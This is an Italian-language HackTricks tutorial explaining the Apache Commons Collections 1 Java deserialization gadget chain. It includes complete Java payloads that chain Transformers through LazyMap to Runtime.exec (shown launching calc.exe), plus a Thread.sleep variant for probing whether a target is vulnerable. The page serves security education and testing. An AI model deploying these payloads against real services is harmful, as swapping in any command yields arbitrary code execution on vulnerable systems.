CommonsCollection1 Payload - Java Transformers to Rutime exec() e Thread Sleep

Reading time: 6 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Java Transformers to Rutime exec()

In diversi luoghi puoi trovare un payload di deserializzazione java che utilizza trasformatori delle collezioni comuni di Apache come il seguente:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Se non sai nulla sui payload di deserializzazione Java, potrebbe essere difficile capire perché questo codice eseguirà un calc.

Prima di tutto, devi sapere che un Transformer in Java è qualcosa che riceve una classe e la trasforma in un'altra.
È anche interessante sapere che il payload che viene eseguito qui è equivalente a:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

O più precisamente, ciò che verrà eseguito alla fine sarà:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Come

Quindi, come è il primo payload presentato equivalente a quelle "semplici" righe di codice?

Prima di tutto, puoi notare nel payload che viene creata una catena (array) di trasformazioni:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Se leggi il codice, noterai che se in qualche modo concatenassi la trasformazione dell'array, saresti in grado di eseguire comandi arbitrari.

Quindi, come sono concatenate quelle trasformazioni?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Nell'ultima sezione del payload puoi vedere che viene creato un oggetto Map. Poi, la funzione decorate viene eseguita da LazyMap con l'oggetto mappa e i trasformatori concatenati. Dal seguente codice puoi vedere che questo causerà la copia dei trasformatori concatenati all'interno dell'attributo lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

E poi viene eseguito il grande finale: lazyMap.get("anything");

Questo è il codice della funzione get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

E questo è il codice della funzione transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Quindi, ricorda che all'interno di factory avevamo salvato chainedTransformer e all'interno della funzione transform stavamo attraversando tutti quei transformer concatenati ed eseguendoli uno dopo l'altro. La cosa divertente è che ogni transformer utilizza object come input e l'oggetto è l'output dell'ultimo transformer eseguito. Pertanto, tutte le trasformazioni sono concatenate eseguendo il payload malevolo.

Alla fine, a causa di come lazyMap gestisce i transformer concatenati all'interno del metodo get, è come se stessimo eseguendo il seguente codice:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Nota come value sia l'input di ogni trasformazione e l'output della trasformazione precedente, consentendo l'esecuzione di una riga:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nota che qui sono stati spiegati i gadget utilizzati per il payload ComonsCollections1. Ma è rimasto come tutto questo inizia a essere eseguito. Puoi vedere qui che ysoserial, per eseguire questo payload, utilizza un oggetto AnnotationInvocationHandler perché quando questo oggetto viene deserializzato, invokerà la funzione payload.get() che eseguirà l'intero payload.

Java Thread Sleep

Questo payload potrebbe essere utile per identificare se il web è vulnerabile poiché eseguirà un sleep se lo è.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Altri Gadget

Puoi trovare altri gadget qui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks